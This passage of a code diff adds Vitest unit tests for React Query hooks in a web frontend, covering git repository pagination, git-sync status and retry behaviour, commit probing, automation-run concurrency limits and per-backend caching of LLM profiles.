+    vi.clearAllMocks();
+    mocks.providers = undefined;
+    mocks.installations = undefined;
+    mocks.backend = { id: "local", kind: "local" };
+    mocks.orgId = null;
+    mocks.queryConfig = null;
+    mocks.repos.data = undefined;
+    mocks.repos.isLoading = false;
+    mocks.repos.isError = false;
+    mocks.repos.hasNextPage = false;
+    mocks.repos.isFetchingNextPage = false;
+    mocks.repos.fetchNextPage.mockReset();
+  };
+
+  it("disables and rejects a query without a provider", async () => {
+    setupMocks();
+    const { result } = renderHook(() => useGitRepositories({ provider: null }));
+
+    expect(config()).toMatchObject({
+      queryKey: ["repositories", null, false, 30, "local", null],
+      initialPageParam: null,
+      enabled: false,
+      staleTime: 300000,
+      gcTime: 900000,
+      refetchOnWindowFocus: false,
+    });
+    await expect(config().queryFn({ pageParam: null })).rejects.toThrow(
+      "Provider is required",
+    );
+    expect(result.current).toMatchObject({
+      data: undefined,
+      isLoading: false,
+      isError: false,
+      hasNextPage: false,
+      isFetchingNextPage: false,
+      fetchNextPage: mocks.repos.fetchNextPage,
+    });
+  });
+
+  it("loads direct user repositories with default and explicit cursors", async () => {
+    setupMocks();
+    mocks.providers = ["github"];
+    mocks.installations = ["irrelevant-for-local-backends"];
+    mocks.orgId = "org-1";
+    const retrieve = vi
+      .spyOn(GitService, "retrieveUserGitRepositories")
+      .mockResolvedValue(emptyPage("next"));
+
+    renderHook(() => useGitRepositories({ provider: "github", pageSize: 12 }));
+
+    expect(config().queryKey).toEqual([
+      "repositories",
+      "github",
+      false,
+      12,
+      "local",
+      "org-1",
+    ]);
+    expect(config().enabled).toBe(true);
+    expect(config().initialPageParam).toBeNull();
+    await expect(config().queryFn({ pageParam: null })).resolves.toEqual(
+      emptyPage("next"),
+    );
+    await config().queryFn({ pageParam: "cursor-2" });
+    expect(retrieve).toHaveBeenNthCalledWith(1, "github", undefined, 12);
+    expect(retrieve).toHaveBeenNthCalledWith(2, "github", "cursor-2", 12);
+    expect(config().getNextPageParam(emptyPage("next"), [], null)).toBe("next");
+    expect(config().getNextPageParam(emptyPage(), [], "next")).toBeNull();
+  });
+
+  it("loads and paginates installation repositories", async () => {
+    setupMocks();
+    mocks.providers = ["github"];
+    mocks.installations = ["installation-a", "installation-b"];
+    mocks.backend = { id: "cloud", kind: "cloud" };
+    const retrieve = vi
+      .spyOn(GitService, "retrieveInstallationRepositories")
+      .mockResolvedValue(emptyPage("page-2"));
+
+    renderHook(() => useGitRepositories({ provider: "github" }));
+
+    expect(config().queryKey).toEqual([
+      "repositories",
+      "github",
+      true,
+      30,
+      "cloud",
+      null,
+      ["installation-a", "installation-b"],
+    ]);
+    expect(config().initialPageParam).toEqual({
+      installationIndex: 0,
+      pageId: null,
+    });
+    await config().queryFn({
+      pageParam: { installationIndex: 1, pageId: null },
+    });
+    await config().queryFn({
+      pageParam: { installationIndex: 0, pageId: "page-2" },
+    });
+    expect(retrieve).toHaveBeenNthCalledWith(
+      1,
+      "github",
+      1,
+      mocks.installations,
+      undefined,
+      30,
+    );
+    expect(retrieve).toHaveBeenNthCalledWith(
+      2,
+      "github",
+      0,
+      mocks.installations,
+      "page-2",
+      30,
+    );
+
+    expect(
+      config().getNextPageParam(emptyPage("next"), [], {
+        installationIndex: 0,
+        pageId: null,
+      }),
+    ).toEqual({ installationIndex: 0, pageId: "next" });
+    expect(
+      config().getNextPageParam(emptyPage(), [], {
+        installationIndex: 0,
+        pageId: "last",
+      }),
+    ).toEqual({ installationIndex: 1, pageId: null });
+    expect(
+      config().getNextPageParam(emptyPage(), [], {
+        installationIndex: 1,
+        pageId: null,
+      }),
+    ).toBeUndefined();
+  });
+
+  it("requires the installation list for installation-based providers", async () => {
+    setupMocks();
+    mocks.providers = ["bitbucket"];
+    mocks.installations = undefined;
+
+    renderHook(() => useGitRepositories({ provider: "bitbucket" }));
+
+    expect(config().queryKey.at(-1)).toEqual([]);
+    expect(config().enabled).toBe(false);
+    await expect(
+      config().queryFn({
+        pageParam: { installationIndex: 0, pageId: null },
+      }),
+    ).rejects.toThrow("Missing installation list");
+  });
+
+  it.each([
+    ["explicitly disabled", false, ["github"], ["installation"], false],
+    ["no connected providers", true, [], ["installation"], false],
+    ["empty installations", true, ["github"], [], false],
+    ["ready", true, ["github"], ["installation"], true],
+  ])(
+    "sets enabled=false when %s",
+    (_label, enabled, providers, installations, expected) => {
+      setupMocks();
+      mocks.backend = { id: "cloud", kind: "cloud" };
+      mocks.providers = providers;
+      mocks.installations = installations;
+
+      renderHook(() => useGitRepositories({ provider: "github", enabled }));
+
+      expect(config().enabled).toBe(expected);
+    },
+  );
+
+  it("stays disabled while connected providers are unresolved", () => {
+    setupMocks();
+    mocks.providers = undefined;
+
+    renderHook(() => useGitRepositories({ provider: "github" }));
+
+    expect(config().enabled).toBe(false);
+  });
+
+  it("loads more only when another page exists and no request is active", () => {
+    setupMocks();
+    mocks.providers = ["github"];
+    mocks.repos.hasNextPage = true;
+    const { result, rerender } = renderHook(() =>
+      useGitRepositories({ provider: "github" }),
+    );
+
+    act(() => result.current.onLoadMore());
+    expect(mocks.repos.fetchNextPage).toHaveBeenCalledOnce();
+
+    mocks.repos.isFetchingNextPage = true;
+    rerender();
+    act(() => result.current.onLoadMore());
+    expect(mocks.repos.fetchNextPage).toHaveBeenCalledOnce();
+
+    mocks.repos.hasNextPage = false;
+    mocks.repos.isFetchingNextPage = false;
+    rerender();
+    act(() => result.current.onLoadMore());
+    expect(mocks.repos.fetchNextPage).toHaveBeenCalledOnce();
+  });
+});
diff --git a/__tests__/hooks/query/use-git-sync.test.tsx b/__tests__/hooks/query/use-git-sync.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d4404c1347dff6369c16bce519c99194fa5ed345
--- /dev/null
+++ b/__tests__/hooks/query/use-git-sync.test.tsx
@@ -0,0 +1,187 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { QueryClientProvider, QueryClient } from "@tanstack/react-query";
+import {
+  GIT_SYNC_STATUS_QUERY_KEY,
+  useGitSyncStatus,
+  useTriggerGitSync,
+  useUpdateGitSyncConfig,
+} from "#/hooks/query/use-git-sync";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import type { GitSyncStatus } from "#/types/git-sync";
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    getGitSyncStatus: vi.fn(),
+    updateGitSyncConfig: vi.fn(),
+    triggerGitSync: vi.fn(),
+  },
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => ({
+    backend: { id: "test-backend", kind: "local" },
+    orgId: null,
+  }),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackGitSyncConfigUpdated: vi.fn(),
+    trackGitSyncTriggered: vi.fn(),
+  }),
+}));
+
+const STATUS_KEY = [...GIT_SYNC_STATUS_QUERY_KEY, "test-backend", null];
+
+const baseStatus: GitSyncStatus = {
+  enabled: true,
+  repo_url: "https://example.com/org/repo.git",
+  branch: "main",
+  path: "automations",
+  encryption_enabled: false,
+  interval_seconds: 0,
+  last_synced_commit: null,
+  last_synced_at: null,
+  last_error: null,
+  last_error_at: null,
+  dirty_count: 0,
+};
+
+function createHarness() {
+  const queryClient = new QueryClient({
+    // `retry` is the default for queries that don't set their own; the hooks
+    // under test do, so `retryDelay` is what matters here -- without it the
+    // real exponential backoff would make a retry test wait a second.
+    defaultOptions: { queries: { retry: false, retryDelay: 0 } },
+  });
+  const wrapper = ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+  return { queryClient, wrapper };
+}
+
+beforeEach(() => {
+  vi.clearAllMocks();
+});
+
+describe("useUpdateGitSyncConfig", () => {
+  it("does not let a status fetch started before the save overwrite it", async () => {
+    // React Query resolves fetches in completion order, not request order: a
+    // GET in flight when the save lands would otherwise replace the saved
+    // config with its own pre-save snapshot.
+    let resolveStaleFetch: (value: GitSyncStatus) => void = () => {};
+    vi.mocked(AutomationService.getGitSyncStatus).mockReturnValue(
+      new Promise<GitSyncStatus>((resolve) => {
+        resolveStaleFetch = resolve;
+      }),
+    );
+    const saved: GitSyncStatus = { ...baseStatus, branch: "develop" };
+    vi.mocked(AutomationService.updateGitSyncConfig).mockResolvedValue(saved);
+
+    const { queryClient, wrapper } = createHarness();
+    const { result } = renderHook(
+      () => ({
+        status: useGitSyncStatus(),
+        update: useUpdateGitSyncConfig(),
+      }),
+      { wrapper },
+    );
+
+    await act(async () => {
+      await result.current.update.mutateAsync({ branch: "develop" });
+    });
+    expect(queryClient.getQueryData(STATUS_KEY)).toEqual(saved);
+
+    // The pre-save GET now comes back with the old branch.
+    await act(async () => {
+      resolveStaleFetch(baseStatus);
+      await Promise.resolve();
+    });
+
+    expect(queryClient.getQueryData(STATUS_KEY)).toEqual(saved);
+  });
+
+  it("leaves error reporting to the caller", async () => {
+    // The page maps 409/503 to specific guidance; the global mutation toast
+    // would stack the raw axios message on top of it.
+    vi.mocked(AutomationService.updateGitSyncConfig).mockRejectedValue(
+      new Error("boom"),
+    );
+    const { queryClient, wrapper } = createHarness();
+    const { result } = renderHook(() => useUpdateGitSyncConfig(), { wrapper });
+
+    act(() => {
+      result.current.mutate({ branch: "develop" });
+    });
+    await waitFor(() => expect(result.current.isError).toBe(true));
+
+    expect(queryClient.getMutationCache().getAll()[0].options.meta).toEqual({
+      disableToast: true,
+    });
+  });
+});
+
+describe("useTriggerGitSync", () => {
+  it("leaves error reporting to the caller", async () => {
+    vi.mocked(AutomationService.triggerGitSync).mockRejectedValue(
+      new Error("boom"),
+    );
+    const { queryClient, wrapper } = createHarness();
+    const { result } = renderHook(() => useTriggerGitSync(), { wrapper });
+
+    act(() => {
+      result.current.mutate();
+    });
+    await waitFor(() => expect(result.current.isError).toBe(true));
+
+    expect(queryClient.getMutationCache().getAll()[0].options.meta).toEqual({
+      disableToast: true,
+    });
+  });
+});
+
+describe("useGitSyncStatus", () => {
+  it("does not retry a backend that has no git-sync API", async () => {
+    vi.mocked(AutomationService.getGitSyncStatus).mockRejectedValue({
+      status: 404,
+    });
+    const { wrapper } = createHarness();
+
+    const { result } = renderHook(() => useGitSyncStatus(), { wrapper });
+
+    await waitFor(() => expect(result.current.isError).toBe(true));
+    expect(AutomationService.getGitSyncStatus).toHaveBeenCalledTimes(1);
+  });
+
+  // Regression: this retried anything that wasn't a 404. The automation
+  // service answers 500 only after its own 30s connection-pool timeout, so
+  // three retries plus backoff held the page's skeleton for about two minutes
+  // instead of showing the error panel with its Retry button straight away.
+  it("does not retry an answered failure", async () => {
+    vi.mocked(AutomationService.getGitSyncStatus).mockRejectedValue({
+      status: 500,
+    });
+    const { wrapper } = createHarness();
+
+    const { result } = renderHook(() => useGitSyncStatus(), { wrapper });
+
+    await waitFor(() => expect(result.current.isError).toBe(true));
+    expect(AutomationService.getGitSyncStatus).toHaveBeenCalledTimes(1);
+  });
+
+  it("retries a request that never got an answer", async () => {
+    // No status: the request never reached the service, so repeating it is
+    // cheap and can actually succeed.
+    vi.mocked(AutomationService.getGitSyncStatus)
+      .mockRejectedValueOnce(new Error("network error"))
+      .mockResolvedValue(baseStatus);
+    const { wrapper } = createHarness();
+
+    const { result } = renderHook(() => useGitSyncStatus(), { wrapper });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(AutomationService.getGitSyncStatus).toHaveBeenCalledTimes(2);
+    expect(result.current.data).toEqual(baseStatus);
+  });
+});
diff --git a/__tests__/hooks/query/use-has-git-commits.test.tsx b/__tests__/hooks/query/use-has-git-commits.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..95a551aa030758639d24d92446396e1b58e138de
--- /dev/null
+++ b/__tests__/hooks/query/use-has-git-commits.test.tsx
@@ -0,0 +1,117 @@
+import React from "react";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import AgentServerRuntimeService from "#/api/runtime-service/agent-server-runtime-service";
+import { useHasGitCommits } from "#/hooks/query/use-has-git-commits";
+
+const useActiveBackendMock = vi.fn();
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => useActiveBackendMock(),
+}));
+
+const useActiveConversationMock = vi.fn();
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => useActiveConversationMock(),
+}));
+
+const useRuntimeIsReadyMock = vi.fn();
+vi.mock("#/hooks/use-runtime-is-ready", () => ({
+  useRuntimeIsReady: () => useRuntimeIsReadyMock(),
+}));
+
+const executeCommandSpy = vi.spyOn(AgentServerRuntimeService, "executeCommand");
+
+function makeWrapper() {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return function HasGitCommitsTestWrapper({
+    children,
+  }: {
+    children: React.ReactNode;
+  }) {
+    return (
+      <QueryClientProvider client={client}>{children}</QueryClientProvider>
+    );
+  };
+}
+
+const makeBackend = (kind: "local" | "cloud") => ({
+  backend: {
+    id: "backend-id",
+    name: kind === "local" ? "Local" : "Production",
+    host:
+      kind === "local" ? "http://127.0.0.1:8000" : "https://app.all-hands.dev",
+    apiKey: "test-key",
+    kind,
+  },
+  orgId: null,
+});
+
+const conversation = {
+  id: "conv-1",
+  conversation_url: "https://runtime.example.com/api/conversations/conv-1",
+  session_api_key: "session-key",
+  workspace: { working_dir: "/workspace/project" },
+};
+
+describe("useHasGitCommits", () => {
+  beforeEach(() => {
+    useActiveBackendMock.mockReset();
+    useActiveConversationMock.mockReset();
+    useRuntimeIsReadyMock.mockReset();
+    executeCommandSpy.mockReset();
+
+    useRuntimeIsReadyMock.mockReturnValue(true);
+    useActiveConversationMock.mockReturnValue({ data: conversation });
+  });
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("does not call executeCommand on a cloud backend", async () => {
+    // Arrange
+    useActiveBackendMock.mockReturnValue(makeBackend("cloud"));
+
+    // Act
+    const { result } = renderHook(() => useHasGitCommits(), {
+      wrapper: makeWrapper(),
+    });
+
+    // Assert: probe stays disabled; hasCommits remains null.
+    await new Promise((resolve) => {
+      setTimeout(resolve, 20);
+    });
+    expect(executeCommandSpy).not.toHaveBeenCalled();
+    expect(result.current.hasCommits).toBeNull();
+  });
+
+  it("probes HEAD via executeCommand on a local backend and returns true when the repo has commits", async () => {
+    // Arrange
+    useActiveBackendMock.mockReturnValue(makeBackend("local"));
+    executeCommandSpy.mockResolvedValue({
+      exit_code: 0,
+      stdout: "abcdef0\n",
+      stderr: "",
+    });
+
+    // Act
+    const { result } = renderHook(() => useHasGitCommits(), {
+      wrapper: makeWrapper(),
+    });
+
+    // Assert
+    await waitFor(() => expect(result.current.isLoading).toBe(false));
+    expect(executeCommandSpy).toHaveBeenCalledWith(
+      conversation.conversation_url,
+      conversation.session_api_key,
+      "git rev-parse --verify HEAD",
+      "/workspace/project",
+      10,
+    );
+    expect(result.current.hasCommits).toBe(true);
+  });
+});
diff --git a/__tests__/hooks/query/use-latest-automation-runs.test.tsx b/__tests__/hooks/query/use-latest-automation-runs.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2315b30e1e2ce3110ac119f0662ff241da4176ea
--- /dev/null
+++ b/__tests__/hooks/query/use-latest-automation-runs.test.tsx
@@ -0,0 +1,90 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import { useLatestAutomationRuns } from "#/hooks/query/use-latest-automation-runs";
+import type { Automation, AutomationRunsResponse } from "#/types/automation";
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    getAutomationRuns: vi.fn(),
+  },
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => ({
+    backend: { id: "test-backend", kind: "local" },
+    orgId: null,
+  }),
+}));
+
+function makeAutomation(id: string): Automation {
+  return {
+    id,
+    name: `Automation ${id}`,
+    prompt: "p",
+    trigger: { type: "schedule", schedule_human: "Daily" },
+    enabled: true,
+    repository: "acme/repo",
+    model: "daily-profile",
+    created_at: "2026-01-01T00:00:00Z",
+    updated_at: "2026-01-01T00:00:00Z",
+  };
+}
+
+const emptyRuns: AutomationRunsResponse = { runs: [], total: 0 };
+
+function createWrapper() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+}
+
+describe("useLatestAutomationRuns", () => {
+  beforeEach(() => {
+    vi.mocked(AutomationService.getAutomationRuns).mockReset();
+  });
+
+  it("keeps at most three runs requests in flight across the home fan-out", async () => {
+    // Arrange — five automations, each runs request held open by the test.
+    const pending: Array<(response: AutomationRunsResponse) => void> = [];
+    vi.mocked(AutomationService.getAutomationRuns).mockImplementation(
+      () =>
+        new Promise<AutomationRunsResponse>((resolve) => {
+          pending.push(resolve);
+        }),
+    );
+    const automations = ["a-1", "a-2", "a-3", "a-4", "a-5"].map(makeAutomation);
+
+    // Act
+    const { result } = renderHook(() => useLatestAutomationRuns(automations), {
+      wrapper: createWrapper(),
+    });
+
+    // Assert — only three requests start; the rest follow as responses free
+    // slots, until every automation's state settles.
+    await waitFor(() => {
+      expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(3);
+    });
+    expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(3);
+
+    await act(async () => {
+      pending.splice(0).forEach((resolve) => resolve(emptyRuns));
+    });
+    await waitFor(() => {
+      expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(5);
+    });
+    await act(async () => {
+      pending.splice(0).forEach((resolve) => resolve(emptyRuns));
+    });
+    await waitFor(() => {
+      automations.forEach((automation) => {
+        expect(result.current.get(automation.id)?.isLoading).toBe(false);
+      });
+    });
+  });
+});
diff --git a/__tests__/hooks/query/use-llm-profiles.test.tsx b/__tests__/hooks/query/use-llm-profiles.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..81f0a452015eb5f54e37cfe31272c891eb82e3b4
--- /dev/null
+++ b/__tests__/hooks/query/use-llm-profiles.test.tsx
@@ -0,0 +1,267 @@
+import { describe, expect, it, vi, afterEach, beforeEach } from "vitest";
+import React from "react";
+import { renderHook, waitFor, act } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import {
+  useLlmProfiles,
+  LLM_PROFILES_QUERY_KEYS,
+} from "#/hooks/query/use-llm-profiles";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import type { Backend } from "#/api/backend-registry/types";
+
+vi.mock("#/api/profiles-service/profiles-service.api");
+
+const localBackend1: Backend = {
+  id: "local-1",
+  name: "Local 1",
+  host: "http://localhost:8000",
+  apiKey: "session-key",
+  kind: "local",
+};
+
+const localBackend2: Backend = {
+  id: "local-2",
+  name: "Local 2",
+  host: "http://localhost:9000",
+  apiKey: "session-key-2",
+  kind: "local",
+};
+
+describe("useLlmProfiles", () => {
+  let queryClient: QueryClient;
+  let wrapper: ({
+    children,
+  }: {
+    children: React.ReactNode;
+  }) => React.ReactElement;
+
+  beforeEach(() => {
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend1, localBackend2]);
+    setActiveSelection({ backendId: localBackend1.id, orgId: null });
+
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: {
+          retry: false,
+        },
+      },
+    });
+    wrapper = ({ children }: { children: React.ReactNode }) =>
+      React.createElement(
+        QueryClientProvider,
+        { client: queryClient },
+        React.createElement(ActiveBackendProvider, null, children),
+      );
+  });
+
+  afterEach(() => {
+    queryClient.clear();
+    vi.clearAllMocks();
+    __resetActiveStoreForTests();
+  });
+
+  it("fetches profiles from ProfilesService.listProfiles", async () => {
+    const mockProfiles = {
+      profiles: [
+        {
+          name: "profile-1",
+          model: "openai/gpt-4",
+          base_url: null,
+          api_key_set: true,
+        },
+        {
+          name: "profile-2",
+          model: "anthropic/claude-3",
+          base_url: null,
+          api_key_set: false,
+        },
+      ],
+      active_profile: "profile-1",
+    };
+
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue(mockProfiles);
+
+    const { result } = renderHook(() => useLlmProfiles(), { wrapper });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    expect(ProfilesService.listProfiles).toHaveBeenCalledTimes(1);
+    expect(result.current.data).toEqual(mockProfiles);
+    expect(result.current.data?.profiles).toHaveLength(2);
+  });
+
+  it("includes backend.id and orgId in query key for cache isolation", async () => {
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: [],
+      active_profile: null,
+    });
+
+    const { result } = renderHook(() => useLlmProfiles(), { wrapper });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    const queries = queryClient.getQueryCache().findAll({
+      queryKey: LLM_PROFILES_QUERY_KEYS.all,
+    });
+    expect(queries).toHaveLength(1);
+    // Verify full query key includes backend.id and orgId
+    expect(queries[0].queryKey).toEqual([
+      ...LLM_PROFILES_QUERY_KEYS.all,
+      localBackend1.id,
+      null, // orgId
+    ]);
+  });
+
+  it("creates separate cache entries when switching backends", async () => {
+    const profilesBackend1 = {
+      profiles: [
+        {
+          name: "profile-backend-1",
+          model: "openai/gpt-4",
+          base_url: null,
+          api_key_set: true,
+        },
+      ],
+      active_profile: null,
+    };
+    const profilesBackend2 = {
+      profiles: [
+        {
+          name: "profile-backend-2",
+          model: "anthropic/claude-3",
+          base_url: null,
+          api_key_set: true,
+        },
+      ],
+      active_profile: null,
+    };
+
+    vi.mocked(ProfilesService.listProfiles)
+      .mockResolvedValueOnce(profilesBackend1)
+      .mockResolvedValueOnce(profilesBackend2);
+
+    // Fetch profiles for backend 1
+    const { result, rerender } = renderHook(() => useLlmProfiles(), {
+      wrapper,
+    });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+    expect(result.current.data?.profiles[0].name).toBe("profile-backend-1");
+
+    // Switch to backend 2
+    act(() => {
+      setActiveSelection({ backendId: localBackend2.id, orgId: null });
+    });
+    rerender();
+
+    await waitFor(() => {
+      expect(result.current.data?.profiles[0].name).toBe("profile-backend-2");
+    });
+
+    // Verify we have 2 separate cache entries
+    const queries = queryClient.getQueryCache().findAll({
+      queryKey: LLM_PROFILES_QUERY_KEYS.all,
+    });
+    expect(queries).toHaveLength(2);
+
+    // Verify each has the correct backend.id in the query key
+    const queryKeys = queries.map((q) => q.queryKey);
+    expect(queryKeys).toContainEqual([
+      ...LLM_PROFILES_QUERY_KEYS.all,
+      localBackend1.id,
+      null,
+    ]);
+    expect(queryKeys).toContainEqual([
+      ...LLM_PROFILES_QUERY_KEYS.all,
+      localBackend2.id,
+      null,
+    ]);
+  });
+
+  it("has staleTime of 5 minutes", async () => {
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: [],
+      active_profile: null,
+    });
+
+    const { result } = renderHook(() => useLlmProfiles(), { wrapper });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    const queries = queryClient.getQueryCache().findAll({
+      queryKey: LLM_PROFILES_QUERY_KEYS.all,
+    });
+    expect(queries).toHaveLength(1);
+    expect((queries[0].options as Record<string, unknown>).staleTime).toBe(
+      1000 * 60 * 5,
+    );
+  });
+
+  it("has gcTime of 15 minutes", async () => {
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: [],
+      active_profile: null,
+    });
+
+    const { result } = renderHook(() => useLlmProfiles(), { wrapper });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    const queries = queryClient.getQueryCache().findAll({
+      queryKey: LLM_PROFILES_QUERY_KEYS.all,
+    });
+    expect(queries).toHaveLength(1);
+    expect(queries[0].options.gcTime).toBe(1000 * 60 * 15);
+  });
+
+  it("disables toast notifications via meta", async () => {
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: [],
+      active_profile: null,
+    });
+
+    const { result } = renderHook(() => useLlmProfiles(), { wrapper });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    const queries = queryClient.getQueryCache().findAll({
+      queryKey: LLM_PROFILES_QUERY_KEYS.all,
+    });
+    expect((queries[0].options as Record<string, unknown>).meta).toEqual({
+      disableToast: true,
+    });
+  });
+
+  it("handles API errors gracefully", async () => {
+    const error = new Error("Network error");
+    vi.mocked(ProfilesService.listProfiles).mockRejectedValue(error);
+
+    const { result } = renderHook(() => useLlmProfiles(), { wrapper });
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+
+    expect(result.current.error).toBe(error);
+    expect(result.current.data).toBeUndefined();
+  });
+});
diff --git a/__tests__/hooks/query/use-local-git-info.test.tsx b/__tests__/hooks/query/use-local-git-info.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e6967654da119b6fc30057e1e35859a773a73228
--- /dev/null
+++ b/__tests__/hooks/query/use-local-git-info.test.tsx
@@ -0,0 +1,186 @@
+import React from "react";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { useLocalGitInfo } from "#/hooks/query/use-local-git-info";
+
+const useActiveBackendMock = vi.fn();
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => useActiveBackendMock(),
+}));
+
+const useActiveConversationMock = vi.fn();
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => useActiveConversationMock(),
+}));
+
+const useRuntimeIsReadyMock = vi.fn();
+vi.mock("#/hooks/use-runtime-is-ready", () => ({
+  useRuntimeIsReady: () => useRuntimeIsReadyMock(),
+}));
+
+const runCommandMock = vi.fn();
+const useBashCommandRunnerMock = vi.fn();
+vi.mock("#/hooks/use-bash-command-runner", () => ({
+  useBashCommandRunner: (
+    conversationUrl: string | null | undefined,
+    sessionApiKey: string | null | undefined,
+    enabled: boolean,
+  ) => useBashCommandRunnerMock(conversationUrl, sessionApiKey, enabled),
+}));
+
+function makeWrapper() {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return function LocalGitInfoTestWrapper({
+    children,
+  }: {
+    children: React.ReactNode;
+  }) {
+    return (
+      <QueryClientProvider client={client}>{children}</QueryClientProvider>
+    );
+  };
+}
+
+const makeBackend = (kind: "local" | "cloud") => ({
+  backend: {
+    id: "backend-id",
+    name: kind === "local" ? "Local" : "Production",
+    host:
+      kind === "local" ? "http://127.0.0.1:8000" : "https://app.all-hands.dev",
+    apiKey: "test-key",
+    kind,
+  },
+  orgId: null,
+});
+
+const conversationWithoutRepo = {
+  id: "conv-1",
+  conversation_url: "https://runtime.example.com/api/conversations/conv-1",
+  session_api_key: "session-key",
+  workspace: { working_dir: "/workspace/project" },
+  selected_repository: null,
+  git_provider: null,
+  selected_branch: null,
+};
+
+const conversationWithoutWorkspace = {
+  id: "conv-2",
+  conversation_url: "https://runtime.example.com/api/conversations/conv-2",
+  session_api_key: "session-key",
+  workspace: null,
+  selected_repository: null,
+  git_provider: null,
+  selected_branch: null,
+};
+
+describe("useLocalGitInfo", () => {
+  beforeEach(() => {
+    useActiveBackendMock.mockReset();
+    useActiveConversationMock.mockReset();
+    useRuntimeIsReadyMock.mockReset();
+    runCommandMock.mockReset();
+    useBashCommandRunnerMock.mockReset();
+    useBashCommandRunnerMock.mockImplementation(() => runCommandMock);
+
+    useRuntimeIsReadyMock.mockReturnValue(true);
+    useActiveConversationMock.mockReturnValue({
+      data: conversationWithoutRepo,
+    });
+    runCommandMock.mockResolvedValue({
+      exit_code: 0,
+      stdout: "git@github.com:acme/widgets.git\n",
+      stderr: "",
+    });
+  });
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("does not call the bash runner on a cloud backend even when conversation metadata is incomplete", async () => {
+    // Arrange
+    useActiveBackendMock.mockReturnValue(makeBackend("cloud"));
+
+    // Act
+    const { result } = renderHook(() => useLocalGitInfo(), {
+      wrapper: makeWrapper(),
+    });
+
+    // Assert: query stays disabled (no fetch, no data); bash endpoint not driven.
+    await new Promise((resolve) => {
+      setTimeout(resolve, 20);
+    });
+    expect(result.current.fetchStatus).toBe("idle");
+    expect(runCommandMock).not.toHaveBeenCalled();
+    // The bash command runner should be created in a disabled state on cloud.
+    expect(useBashCommandRunnerMock).toHaveBeenCalledWith(
+      conversationWithoutRepo.conversation_url,
+      conversationWithoutRepo.session_api_key,
+      false,
+    );
+  });
+
+  it("does not poll when the conversation has no workspace attached, even on a local backend", async () => {
+    // Arrange
+    useActiveBackendMock.mockReturnValue(makeBackend("local"));
+    useActiveConversationMock.mockReturnValue({
+      data: conversationWithoutWorkspace,
+    });
+
+    // Act
+    const { result } = renderHook(() => useLocalGitInfo(), {
+      wrapper: makeWrapper(),
+    });
+
+    // Assert: query stays disabled; no bash commands are issued.
+    await new Promise((resolve) => {
+      setTimeout(resolve, 20);
+    });
+    expect(result.current.fetchStatus).toBe("idle");
+    expect(runCommandMock).not.toHaveBeenCalled();
+    expect(useBashCommandRunnerMock).toHaveBeenCalledWith(
+      conversationWithoutWorkspace.conversation_url,
+      conversationWithoutWorkspace.session_api_key,
+      false,
+    );
+  });
+
